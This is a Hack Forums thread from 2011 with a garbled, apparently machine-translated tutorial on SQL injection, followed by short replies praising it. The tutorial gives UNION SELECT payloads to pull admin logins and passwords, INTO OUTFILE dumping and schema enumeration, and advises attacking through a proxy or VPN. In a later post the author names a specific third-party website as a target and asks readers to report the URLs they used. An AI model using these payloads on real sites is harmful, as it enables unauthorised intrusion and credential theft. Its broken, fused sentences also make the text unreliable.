

Forum:[Hack Forums](#)

Thread: [\[TUT\] Sql injections \[TUT\]\[HOT BIG TUTO\]](#)

cerbr - June 11, 2011, 3:11 am

Here a tutorial on injection SQL under MySQL and ms SQL server. In this tuto you will see all the power of the injections; my platform of test: LAMP with magic_quote with OFF in a first part and then magic_quote with ONE;-)

An injection SQL is a kind of exploitation of a security breach of a Web application. One will inject a request SQL not envisaged by the system and being able to compromise its safety, this request will make it possible in certain case straightforwardly to post the password and the identifiers associated.

Injection of Radar

Grace has a bad filtering of the variables This message is addressed to injection via variables php in our case but that as well functions all for asp or very others languages dynamic Web, 9,10,11,12,13,14,15,16,17,18,19 from mysql.user where user=CHAR (114, 111,111,116)--

OUTPUFILE

As its name indicates it one little to redirect the standard exit with output slips by + the path.

One little to export the list of result of the select one.

Function INTO OUTFILE will write (by defect) in the file lib \ mysql \ nomdelatable the file containing the exit of the select one.

(Attention with replacing the file in the www repertoire well, without what you will not be able to consult it)

One also needs the rights of the files. Example:

```
$sql= " select login, pass from admin INTO OUTFILE "path/file.txt";
```

Let us imagine a login container

Code:

```
$sql= " select from ma_table where login='$login' and password='$pass'"
```

What gives like request:

Code:

```
$sql= " select from ma_table where login=" GOLD "X" and password=" GOLD "X";
```

There is not the good pass, but we can all the same go to the root of the waiter to seek to it our file.txt file and the pass and logs of connection are obtained. One could also be able to read the contents of the code php in our ../..www/file.txt imagine what one to little make post.

login:

Code:

```
$sql= " select login, pass from admin where login=" UNION SELECT login, pass from admin/*' and pass='$pass' ";
```

Grace with the clause LIMIT which does not require aucunes quotes to delimit the limits 21). The exploitation is exactemenet the mème. \$la_fin is often calculated according to the number messages to post by page (\$la_fin=\$le_debut+\$messagesparpages). Thus for little that the variable \$le_debut is not filtered, one can make post what one wants.

Let us imagine a request so that one can recover the login and the pass.

One did not know the number of fields. Thus we will make the test usual to discover the fields.

Here the request with UNION:

Code:

`http://localhost/secu_test/inject.php?id=1+UNION+1,2,3,4,5,6,7,8,9,10--`

Figures 1,2,3,4,5,6,7,8,9,10

To have the login:

Code php:

Code:

`1+UNION+SELECT+1, @@version, 3,4,5,6,7,8,9,10--`

!! Never not to make an injection without using a proxy or a vpn!

2 VPN propose by the members:

- ProXPN (free)

- per2me (I believe that it is free)

Code:

`http://localhost/secu_test/inject.php?id=-1+UNION+SELECT+group_concat(schema_name),2,3+%20from+information_schema.schemata--`

Sorry for my English I am French.

Exal - June 12, 2011, 4:14 am

Nice tuto, helpful for noobs ...

Anonymous.7654 - June 12, 2011, 4:36 am

Yes true nice TuT, useful for new members...

cerbr - June 12, 2011, 12:52 pm

Thanks for your comments, I am glad.

Alphahunter - June 12, 2011, 12:54 pm

Nice TUT for n00bs like me! :)

cerbr - June 13, 2011, 3:06 am

Hack a website with my tuto: <http://www.solutionfocusedtrainers.co.uk/trainers.php?id=4>

It's a website that you can hack for test!

Good hack!

And when you finish, don't forget to post a comment with all the url you used!

Thanks

jaan777 - June 13, 2011, 5:04 am

Nice TUT for n00bs like me! :)

allahnawaz2010 - June 13, 2011, 9:53 am

It would be better if u add some proof like images videos then you will gain +rep

cerbr - June 13, 2011, 10:08 am

Can you make a video please because I am French and I don't speak English very well.

noober1001 - *June 13, 2011, 11:38 am*

Good tut. Thanks for it.

Keep it up.

Electron - *June 14, 2011, 11:12 am*

Good tut. Thanks :)

:):);)

erenz - *September 15, 2011, 8:38 pm*

Im Still Dont Know How To Do it, Hmm Im Hungry

Clones - *September 17, 2011, 7:00 am*

This is really a very nice tutorial, thanks for sharing. :)

decent l33t - *April 26, 2016, 8:39 pm*

very nice tut keep it up bro

billou - *May 12, 2016, 1:36 am*

nice tutorial thxxxxxxxxxxxxxxxxx